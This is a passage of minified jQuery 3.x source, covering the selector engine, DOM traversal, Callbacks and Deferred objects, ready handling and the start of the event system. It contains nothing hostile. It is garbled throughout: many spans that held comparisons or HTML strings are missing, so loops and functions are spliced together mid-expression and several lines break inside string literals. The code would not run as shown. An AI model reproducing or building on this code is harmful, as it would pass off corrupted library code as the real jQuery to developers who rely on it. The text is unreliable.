d="0x"+b-65536;return d!==d||c?b:d<0?String.fromCharCode(d+65536):String.fromCharCode(d>>10|55296,1023&d|56320)},ba=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ca=function(a,b){return b?"\0"===a?"\ufffd":a.slice(0,-1)+"\\"+a.charCodeAt(a.length-1).toString(16)+" ":"\\"+a},da=function(){m()},ea=ta(function(a){return a.disabled===!0&&("form"in a||"label"in a)},{dir:"parentNode",next:"legend"});try{G.apply(D=H.call(v.childNodes),v.childNodes),D[v.childNodes.length].nodeType}catch(fa){G={apply:D.length?function(a,b){F.apply(a,H.call(b))}:function(a,b){var c=a.length,d=0;while(a[c++]=b[d++]);a.length=c-1}}}function ga(a,b,d,e){var f,h,j,k,l,o,r,s=b&&b.ownerDocument,w=b?b.nodeType:9;if(d=d||[],"string"!=typeof a||!a||1!==w&&9!==w&&11!==w)return d;if(!e&&((b?b.ownerDocument||b:v)!==n&&m(b),b=b||n,p)){if(11!==w&&(l=Z.exec(a)))if(f=l[1]){if(9===w){if(!(j=b.getElementById(f)))return d;if(j.id===f)return d.push(j),d}else if(s&&(j=s.getElementById(f))&&t(b,j)&&j.id===f)return d.push(j),d}else{if(l[2])return G.apply(d,b.getElementsByTagName(a)),d;if((f=l[3])&&c.getElementsByClassName&&b.getElementsByClassName)return G.apply(d,b.getElementsByClassName(f)),d}if(c.qsa&&!A[a+" "]&&(!q||!q.test(a))){if(1!==w)s=b,r=a;else if("object"!==b.nodeName.toLowerCase()){(k=b.getAttribute("id"))?k=k.replace(ba,ca):b.setAttribute("id",k=u),o=g(a),h=o.length;while(h--)o[h]="#"+k+" "+sa(o[h]);r=o.join(","),s=$.test(a)&&qa(b.parentNode)||b}if(r)try{return G.apply(d,s.querySelectorAll(r)),d}catch(x){}finally{k===u&&b.removeAttribute("id")}}}return i(a.replace(P,"$1"),b,d,e)}function ha(){var a=[];function b(c,e){return a.push(c+" ")>d.cacheLength&&delete b[a.shift()],b[c+" "]=e}return b}function ia(a){return a[u]=!0,a}function ja(a){var b=n.createElement("fieldset");try{return!!a(b)}catch(c){return!1}finally{b.parentNode&&b.parentNode.removeChild(b),b=null}}function ka(a,b){var c=a.split("|"),e=c.length;while(e--)d.attrHandle[c[e]]=b}function la(a,b){var c=b&&a,d=c&&1===a.nodeType&&1===b.nodeType&&a.sourceIndex-b.sourceIndex;if(d)return d;if(c)while(c=c.nextSibling)if(c===b)return-1;return a?1:-1}function ma(a){return function(b){var c=b.nodeName.toLowerCase();return"input"===c&&b.type===a}}function na(a){return function(b){var c=b.nodeName.toLowerCase();return("input"===c||"button"===c)&&b.type===a}}function oa(a){return function(b){return"form"in b?b.parentNode&&b.disabled===!1?"label"in b?"label"in b.parentNode?b.parentNode.disabled===a:b.disabled===a:b.isDisabled===a||b.isDisabled!==!a&&ea(b)===a:b.disabled===a:"label"in b&&b.disabled===a}}function pa(a){return ia(function(b){return b=+b,ia(function(c,d){var e,f=a([],c.length,b),g=f.length;while(g--)c[e=f[g]]&&(c[e]=!(d[e]=c[e]))})})}function qa(a){return a&&"undefined"!=typeof a.getElementsByTagName&&a}c=ga.support={},f=ga.isXML=function(a){var b=a&&(a.ownerDocument||a).documentElement;return!!b&&"HTML"!==b.nodeName},m=ga.setDocument=function(a){var b,e,g=a?a.ownerDocument||a:v;return g!==n&&9===g.nodeType&&g.documentElement?(n=g,o=n.documentElement,p=!f(n),v!==n&&(e=n.defaultView)&&e.top!==e&&(e.addEventListener?e.addEventListener("unload",da,!1):e.attachEvent&&e.attachEvent("onunload",da)),c.attributes=ja(function(a){return a.className="i",!a.getAttribute("className")}),c.getElementsByTagName=ja(function(a){return a.appendChild(n.createComment("")),!a.getElementsByTagName("*").length}),c.getElementsByClassName=Y.test(n.getElementsByClassName),c.getById=ja(function(a){return o.appendChild(a).id=u,!n.getElementsByName||!n.getElementsByName(u).length}),c.getById?(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){return a.getAttribute("id")===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c=b.getElementById(a);return c?[c]:[]}}):(d.filter.ID=function(a){var b=a.replace(_,aa);return function(a){var c="undefined"!=typeof a.getAttributeNode&&a.getAttributeNode("id");return c&&c.value===b}},d.find.ID=function(a,b){if("undefined"!=typeof b.getElementById&&p){var c,d,e,f=b.getElementById(a);if(f){if(c=f.getAttributeNode("id"),c&&c.value===a)return[f];e=b.getElementsByName(a),d=0;while(f=e[d++])if(c=f.getAttributeNode("id"),c&&c.value===a)return[f]}return[]}}),d.find.TAG=c.getElementsByTagName?function(a,b){return"undefined"!=typeof b.getElementsByTagName?b.getElementsByTagName(a):c.qsa?b.querySelectorAll(a):void 0}:function(a,b){var c,d=[],e=0,f=b.getElementsByTagName(a);if("*"===a){while(c=f[e++])1===c.nodeType&&d.push(c);return d}return f},d.find.CLASS=c.getElementsByClassName&&function(a,b){if("undefined"!=typeof b.getElementsByClassName&&p)return b.getElementsByClassName(a)},r=[],q=[],(c.qsa=Y.test(n.querySelectorAll))&&(ja(function(a){o.appendChild(a).innerHTML="",a.querySelectorAll("[msallowcapture^='']").length&&q.push("[*^$]="+K+"*(?:''|\"\")"),a.querySelectorAll("[selected]").length||q.push("\\["+K+"*(?:value|"+J+")"),a.querySelectorAll("[id~="+u+"-]").length||q.push("~="),a.querySelectorAll(":checked").length||q.push(":checked"),a.querySelectorAll("a#"+u+"+*").length||q.push(".#.+[+~]")}),ja(function(a){a.innerHTML="";var b=n.createElement("input");b.setAttribute("type","hidden"),a.appendChild(b).setAttribute("name","D"),a.querySelectorAll("[name=d]").length&&q.push("name"+K+"*[*^$|!~]?="),2!==a.querySelectorAll(":enabled").length&&q.push(":enabled",":disabled"),o.appendChild(a).disabled=!0,2!==a.querySelectorAll(":disabled").length&&q.push(":enabled",":disabled"),a.querySelectorAll("*,:x"),q.push(",.*:")})),(c.matchesSelector=Y.test(s=o.matches||o.webkitMatchesSelector||o.mozMatchesSelector||o.oMatchesSelector||o.msMatchesSelector))&&ja(function(a){c.disconnectedMatch=s.call(a,"*"),s.call(a,"[s!='']:x"),r.push("!=",N)}),q=q.length&&new RegExp(q.join("|")),r=r.length&&new RegExp(r.join("|")),b=Y.test(o.compareDocumentPosition),t=b||Y.test(o.contains)?function(a,b){var c=9===a.nodeType?a.documentElement:a,d=b&&b.parentNode;return a===d||!(!d||1!==d.nodeType||!(c.contains?c.contains(d):a.compareDocumentPosition&&16&a.compareDocumentPosition(d)))}:function(a,b){if(b)while(b=b.parentNode)if(b===a)return!0;return!1},B=b?function(a,b){if(a===b)return l=!0,0;var d=!a.compareDocumentPosition-!b.compareDocumentPosition;return d?d:(d=(a.ownerDocument||a)===(b.ownerDocument||b)?a.compareDocumentPosition(b):1,1&d||!c.sortDetached&&b.compareDocumentPosition(a)===d?a===n||a.ownerDocument===v&&t(v,a)?-1:b===n||b.ownerDocument===v&&t(v,b)?1:k?I(k,a)-I(k,b):0:4&d?-1:1)}:function(a,b){if(a===b)return l=!0,0;var c,d=0,e=a.parentNode,f=b.parentNode,g=[a],h=[b];if(!e||!f)return a===n?-1:b===n?1:e?-1:f?1:k?I(k,a)-I(k,b):0;if(e===f)return la(a,b);c=a;while(c=c.parentNode)g.unshift(c);c=b;while(c=c.parentNode)h.unshift(c);while(g[d]===h[d])d++;return d?la(g[d],h[d]):g[d]===v?-1:h[d]===v?1:0},n):n},ga.matches=function(a,b){return ga(a,null,null,b)},ga.matchesSelector=function(a,b){if((a.ownerDocument||a)!==n&&m(a),b=b.replace(S,"='$1']"),c.matchesSelector&&p&&!A[b+" "]&&(!r||!r.test(b))&&(!q||!q.test(b)))try{var d=s.call(a,b);if(d||c.disconnectedMatch||a.document&&11!==a.document.nodeType)return d}catch(e){}return ga(b,n,null,[a]).length>0},ga.contains=function(a,b){return(a.ownerDocument||a)!==n&&m(a),t(a,b)},ga.attr=function(a,b){(a.ownerDocument||a)!==n&&m(a);var e=d.attrHandle[b.toLowerCase()],f=e&&C.call(d.attrHandle,b.toLowerCase())?e(a,b,!p):void 0;return void 0!==f?f:c.attributes||!p?a.getAttribute(b):(f=a.getAttributeNode(b))&&f.specified?f.value:null},ga.escape=function(a){return(a+"").replace(ba,ca)},ga.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)},ga.uniqueSort=function(a){var b,d=[],e=0,f=0;if(l=!c.detectDuplicates,k=!c.sortStable&&a.slice(0),a.sort(B),l){while(b=a[f++])b===a[f]&&(e=d.push(f));while(e--)a.splice(d[e],1)}return k=null,a},e=ga.getText=function(a){var b,c="",d=0,f=a.nodeType;if(f){if(1===f||9===f||11===f){if("string"==typeof a.textContent)return a.textContent;for(a=a.firstChild;a;a=a.nextSibling)c+=e(a)}else if(3===f||4===f)return a.nodeValue}else while(b=a[d++])c+=e(b);return c},d=ga.selectors={cacheLength:50,createPseudo:ia,match:V,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(a){return a[1]=a[1].replace(_,aa),a[3]=(a[3]||a[4]||a[5]||"").replace(_,aa),"~="===a[2]&&(a[3]=" "+a[3]+" "),a.slice(0,4)},CHILD:function(a){return a[1]=a[1].toLowerCase(),"nth"===a[1].slice(0,3)?(a[3]||ga.error(a[0]),a[4]=+(a[4]?a[5]+(a[6]||1):2*("even"===a[3]||"odd"===a[3])),a[5]=+(a[7]+a[8]||"odd"===a[3])):a[3]&&ga.error(a[0]),a},PSEUDO:function(a){var b,c=!a[6]&&a[2];return V.CHILD.test(a[0])?null:(a[3]?a[2]=a[4]||a[5]||"":c&&T.test(c)&&(b=g(c,!0))&&(b=c.indexOf(")",c.length-b)-c.length)&&(a[0]=a[0].slice(0,b),a[2]=c.slice(0,b)),a.slice(0,3))}},filter:{TAG:function(a){var b=a.replace(_,aa).toLowerCase();return"*"===a?function(){return!0}:function(a){return a.nodeName&&a.nodeName.toLowerCase()===b}},CLASS:function(a){var b=y[a+" "];return b||(b=new RegExp("(^|"+K+")"+a+"("+K+"|$)"))&&y(a,function(a){return b.test("string"==typeof a.className&&a.className||"undefined"!=typeof a.getAttribute&&a.getAttribute("class")||"")})},ATTR:function(a,b,c){return function(d){var e=ga.attr(d,a);return null==e?"!="===b:!b||(e+="","="===b?e===c:"!="===b?e!==c:"^="===b?c&&0===e.indexOf(c):"*="===b?c&&e.indexOf(c)>-1:"$="===b?c&&e.slice(-c.length)===c:"~="===b?(" "+e.replace(O," ")+" ").indexOf(c)>-1:"|="===b&&(e===c||e.slice(0,c.length+1)===c+"-"))}},CHILD:function(a,b,c,d,e){var f="nth"!==a.slice(0,3),g="last"!==a.slice(-4),h="of-type"===b;return 1===d&&0===e?function(a){return!!a.parentNode}:function(b,c,i){var j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h,t=!1;if(q){if(f){while(p){m=b;while(m=m[p])if(h?m.nodeName.toLowerCase()===r:1===m.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){m=q,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),j=k[a]||[],n=j[0]===w&&j[1],t=n),t===!1)while(m=++n&&m&&m[p]||(t=n=0)||o.pop())if((h?m.nodeName.toLowerCase()===r:1===m.nodeType)&&++t&&(s&&(l=m[u]||(m[u]={}),k=l[m.uniqueID]||(l[m.uniqueID]={}),k[a]=[w,t]),m===b))break;return t-=e,t===d||t%d===0&&t/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=I(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(P,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(_,aa),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return U.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(_,aa).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:oa(!1),disabled:oa(!0),checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return X.test(a.nodeName)},input:function(a){return W.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:pa(function(){return[0]}),last:pa(function(a,b){return[b-1]}),eq:pa(function(a,b,c){return[c<0?c+b:c]}),even:pa(function(a,b){for(var c=0;c=0;)a.push(d);return a}),gt:pa(function(a,b,c){for(var d=c<0?c+b:c;++d1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function va(a,b,c){for(var d=0,e=b.length;d-1&&(f[j]=!(g[j]=l))}}else r=wa(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):G.apply(g,r)})}function ya(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=ta(function(a){return a===b},h,!0),l=ta(function(a){return I(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];i1&&ua(m),i>1&&sa(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(P,"$1"),c,i0,e=a.length>0,f=function(f,g,h,i,k){var l,o,q,r=0,s="0",t=f&&[],u=[],v=j,x=f||e&&d.find.TAG("*",k),y=w+=null==v?1:Math.random()||.1,z=x.length;for(k&&(j=g===n||g||k);s!==z&&null!=(l=x[s]);s++){if(e&&l){o=0,g||l.ownerDocument===n||(m(l),h=!p);while(q=a[o++])if(q(l,g||n,h)){i.push(l);break}k&&(w=y)}c&&((l=!q&&l)&&r--,f&&t.push(l))}if(r+=s,c&&s!==r){o=0;while(q=b[o++])q(t,u,g,h);if(f){if(r>0)while(s--)t[s]||u[s]||(u[s]=E.call(i));u=wa(u)}G.apply(i,u),k&&!f&&u.length>0&&r+b.length>1&&ga.uniqueSort(i)}return k&&(w=y,j=v),t};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=ya(b[c]),f[u]?d.push(f):e.push(f);f=A(a,za(e,d)),f.selector=a}return f},i=ga.select=function(a,b,c,e){var f,i,j,k,l,m="function"==typeof a&&a,n=!e&&g(a=m.selector||a);if(c=c||[],1===n.length){if(i=n[0]=n[0].slice(0),i.length>2&&"ID"===(j=i[0]).type&&9===b.nodeType&&p&&d.relative[i[1].type]){if(b=(d.find.ID(j.matches[0].replace(_,aa),b)||[])[0],!b)return c;m&&(b=b.parentNode),a=a.slice(i.shift().value.length)}f=V.needsContext.test(a)?0:i.length;while(f--){if(j=i[f],d.relative[k=j.type])break;if((l=d.find[k])&&(e=l(j.matches[0].replace(_,aa),$.test(i[0].type)&&qa(b.parentNode)||b))){if(i.splice(f,1),a=e.length&&sa(i),!a)return G.apply(c,e),c;break}}}return(m||h(a,n))(e,b,!p,c,!b||$.test(a)&&qa(b.parentNode)||b),c},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("fieldset"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){if(!c)return a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){if(!c&&"input"===a.nodeName.toLowerCase())return a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(J,function(a,b,c){var d;if(!c)return a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);r.find=x,r.expr=x.selectors,r.expr[":"]=r.expr.pseudos,r.uniqueSort=r.unique=x.uniqueSort,r.text=x.getText,r.isXMLDoc=x.isXML,r.contains=x.contains,r.escapeSelector=x.escape;var y=function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&r(a).is(c))break;d.push(a)}return d},z=function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c},A=r.expr.match.needsContext;function B(a,b){return a.nodeName&&a.nodeName.toLowerCase()===b.toLowerCase()}var C=/^<([a-z][^\/\0>:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i,D=/^.[^:#\[\.,]*$/;function E(a,b,c){return r.isFunction(b)?r.grep(a,function(a,d){return!!b.call(a,d,a)!==c}):b.nodeType?r.grep(a,function(a){return a===b!==c}):"string"!=typeof b?r.grep(a,function(a){return i.call(b,a)>-1!==c}):D.test(b)?r.filter(b,a,c):(b=r.filter(b,a),r.grep(a,function(a){return i.call(b,a)>-1!==c&&1===a.nodeType}))}r.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?r.find.matchesSelector(d,a)?[d]:[]:r.find.matches(a,r.grep(b,function(a){return 1===a.nodeType}))},r.fn.extend({find:function(a){var b,c,d=this.length,e=this;if("string"!=typeof a)return this.pushStack(r(a).filter(function(){for(b=0;b1?r.uniqueSort(c):c},filter:function(a){return this.pushStack(E(this,a||[],!1))},not:function(a){return this.pushStack(E(this,a||[],!0))},is:function(a){return!!E(this,"string"==typeof a&&A.test(a)?r(a):a||[],!1).length}});var F,G=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]+))$/,H=r.fn.init=function(a,b,c){var e,f;if(!a)return this;if(c=c||F,"string"==typeof a){if(e="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:G.exec(a),!e||!e[1]&&b)return!b||b.jquery?(b||c).find(a):this.constructor(b).find(a);if(e[1]){if(b=b instanceof r?b[0]:b,r.merge(this,r.parseHTML(e[1],b&&b.nodeType?b.ownerDocument||b:d,!0)),C.test(e[1])&&r.isPlainObject(b))for(e in b)r.isFunction(this[e])?this[e](b[e]):this.attr(e,b[e]);return this}return f=d.getElementById(e[2]),f&&(this[0]=f,this.length=1),this}return a.nodeType?(this[0]=a,this.length=1,this):r.isFunction(a)?void 0!==c.ready?c.ready(a):a(r):r.makeArray(a,this)};H.prototype=r.fn,F=r(d);var I=/^(?:parents|prev(?:Until|All))/,J={children:!0,contents:!0,next:!0,prev:!0};r.fn.extend({has:function(a){var b=r(a,this),c=b.length;return this.filter(function(){for(var a=0;a-1:1===c.nodeType&&r.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?r.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?i.call(r(a),this[0]):i.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(r.uniqueSort(r.merge(this.get(),r(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function K(a,b){while((a=a[b])&&1!==a.nodeType);return a}r.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return y(a,"parentNode")},parentsUntil:function(a,b,c){return y(a,"parentNode",c)},next:function(a){return K(a,"nextSibling")},prev:function(a){return K(a,"previousSibling")},nextAll:function(a){return y(a,"nextSibling")},prevAll:function(a){return y(a,"previousSibling")},nextUntil:function(a,b,c){return y(a,"nextSibling",c)},prevUntil:function(a,b,c){return y(a,"previousSibling",c)},siblings:function(a){return z((a.parentNode||{}).firstChild,a)},children:function(a){return z(a.firstChild)},contents:function(a){return B(a,"iframe")?a.contentDocument:(B(a,"template")&&(a=a.content||a),r.merge([],a.childNodes))}},function(a,b){r.fn[a]=function(c,d){var e=r.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=r.filter(d,e)),this.length>1&&(J[a]||r.uniqueSort(e),I.test(a)&&e.reverse()),this.pushStack(e)}});var L=/[^\x20\t\r\n\f]+/g;function M(a){var b={};return r.each(a.match(L)||[],function(a,c){b[c]=!0}),b}r.Callbacks=function(a){a="string"==typeof a?M(a):r.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=e||a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h-1)f.splice(c,1),c<=h&&h--}),this},has:function(a){return a?r.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=g=[],c||b||(f=c=""),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j};function N(a){return a}function O(a){throw a}function P(a,b,c,d){var e;try{a&&r.isFunction(e=a.promise)?e.call(a).done(b).fail(c):a&&r.isFunction(e=a.then)?e.call(a,b,c):b.apply(void 0,[a].slice(d))}catch(a){c.apply(void 0,[a])}}r.extend({Deferred:function(b){var c=[["notify","progress",r.Callbacks("memory"),r.Callbacks("memory"),2],["resolve","done",r.Callbacks("once memory"),r.Callbacks("once memory"),0,"resolved"],["reject","fail",r.Callbacks("once memory"),r.Callbacks("once memory"),1,"rejected"]],d="pending",e={state:function(){return d},always:function(){return f.done(arguments).fail(arguments),this},"catch":function(a){return e.then(null,a)},pipe:function(){var a=arguments;return r.Deferred(function(b){r.each(c,function(c,d){var e=r.isFunction(a[d[4]])&&a[d[4]];f[d[1]](function(){var a=e&&e.apply(this,arguments);a&&r.isFunction(a.promise)?a.promise().progress(b.notify).done(b.resolve).fail(b.reject):b[d[0]+"With"](this,e?[a]:arguments)})}),a=null}).promise()},then:function(b,d,e){var f=0;function g(b,c,d,e){return function(){var h=this,i=arguments,j=function(){var a,j;if(!(b=f&&(d!==O&&(h=void 0,i=[a]),c.rejectWith(h,i))}};b?k():(r.Deferred.getStackHook&&(k.stackTrace=r.Deferred.getStackHook()),a.setTimeout(k))}}return r.Deferred(function(a){c[0][3].add(g(0,a,r.isFunction(e)?e:N,a.notifyWith)),c[1][3].add(g(0,a,r.isFunction(b)?b:N)),c[2][3].add(g(0,a,r.isFunction(d)?d:O))}).promise()},promise:function(a){return null!=a?r.extend(a,e):e}},f={};return r.each(c,function(a,b){var g=b[2],h=b[5];e[b[1]]=g.add,h&&g.add(function(){d=h},c[3-a][2].disable,c[0][2].lock),g.add(b[3].fire),f[b[0]]=function(){return f[b[0]+"With"](this===f?void 0:this,arguments),this},f[b[0]+"With"]=g.fireWith}),e.promise(f),b&&b.call(f,f),f},when:function(a){var b=arguments.length,c=b,d=Array(c),e=f.call(arguments),g=r.Deferred(),h=function(a){return function(c){d[a]=this,e[a]=arguments.length>1?f.call(arguments):c,--b||g.resolveWith(d,e)}};if(b<=1&&(P(a,g.done(h(c)).resolve,g.reject,!b),"pending"===g.state()||r.isFunction(e[c]&&e[c].then)))return g.then();while(c--)P(e[c],h(c),g.reject);return g.promise()}});var Q=/^(Eval|Internal|Range|Reference|Syntax|Type|URI)Error$/;r.Deferred.exceptionHook=function(b,c){a.console&&a.console.warn&&b&&Q.test(b.name)&&a.console.warn("jQuery.Deferred exception: "+b.message,b.stack,c)},r.readyException=function(b){a.setTimeout(function(){throw b})};var R=r.Deferred();r.fn.ready=function(a){return R.then(a)["catch"](function(a){r.readyException(a)}),this},r.extend({isReady:!1,readyWait:1,ready:function(a){(a===!0?--r.readyWait:r.isReady)||(r.isReady=!0,a!==!0&&--r.readyWait>0||R.resolveWith(d,[r]))}}),r.ready.then=R.then;function S(){d.removeEventListener("DOMContentLoaded",S), a.removeEventListener("load",S),r.ready()}"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll?a.setTimeout(r.ready):(d.addEventListener("DOMContentLoaded",S),a.addEventListener("load",S));var T=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h1,null,!0)},removeData:function(a){return this.each(function(){X.remove(this,a)})}}),r.extend({queue:function(a,b,c){var d;if(a)return b=(b||"fx")+"queue",d=W.get(a,b),c&&(!d||Array.isArray(c)?d=W.access(a,b,r.makeArray(c)):d.push(c)),d||[]},dequeue:function(a,b){b=b||"fx";var c=r.queue(a,b),d=c.length,e=c.shift(),f=r._queueHooks(a,b),g=function(){r.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return W.get(a,c)||W.access(a,c,{empty:r.Callbacks("once memory").add(function(){W.remove(a,[b+"queue",c])})})}}),r.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length\x20\t\r\n\f]+)/i,la=/^$|\/(?:java|ecma)script/i,ma={option:[1,""],thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};ma.optgroup=ma.option,ma.tbody=ma.tfoot=ma.colgroup=ma.caption=ma.thead,ma.th=ma.td;function na(a,b){var c;return c="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):[],void 0===b||b&&B(a,b)?r.merge([a],c):c}function oa(a,b){for(var c=0,d=a.length;c-1)e&&e.push(f);else if(j=r.contains(f.ownerDocument,f),g=na(l.appendChild(f),"script"),j&&oa(g),c){k=0;while(f=g[k++])la.test(f.type||"")&&c.push(f)}return l}!function(){var a=d.createDocumentFragment(),b=a.appendChild(d.createElement("div")),c=d.createElement("input");c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),b.appendChild(c),o.checkClone=b.cloneNode(!0).cloneNode(!0).lastChild.checked,b.innerHTML="",o.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var ra=d.documentElement,sa=/^key/,ta=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,ua=/^([^.]*)(?:\.(.+)|)/;function va(){return!0}function wa(){return!1}function xa(){try{return d.activeElement}catch(a){}}function ya(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)ya(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=wa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return r().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=r.guid++)),a.each(function(){r.event.add(this,b,e,d,c)})}r.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,n,o,p,q=W.get(a);if(q){c.handler&&(f=c,c=f.handler,e=f.selector),e&&r.find.matchesSelector(ra,e),c.guid||(c.guid=r.guid++),(i=q.events)||(i=q.events={}),(g=q.handle)||(g=q.handle=function(b){return"undefined"!=typeof r&&r.event.triggered!==b.type?r.event.dispatch.apply(a,arguments):void 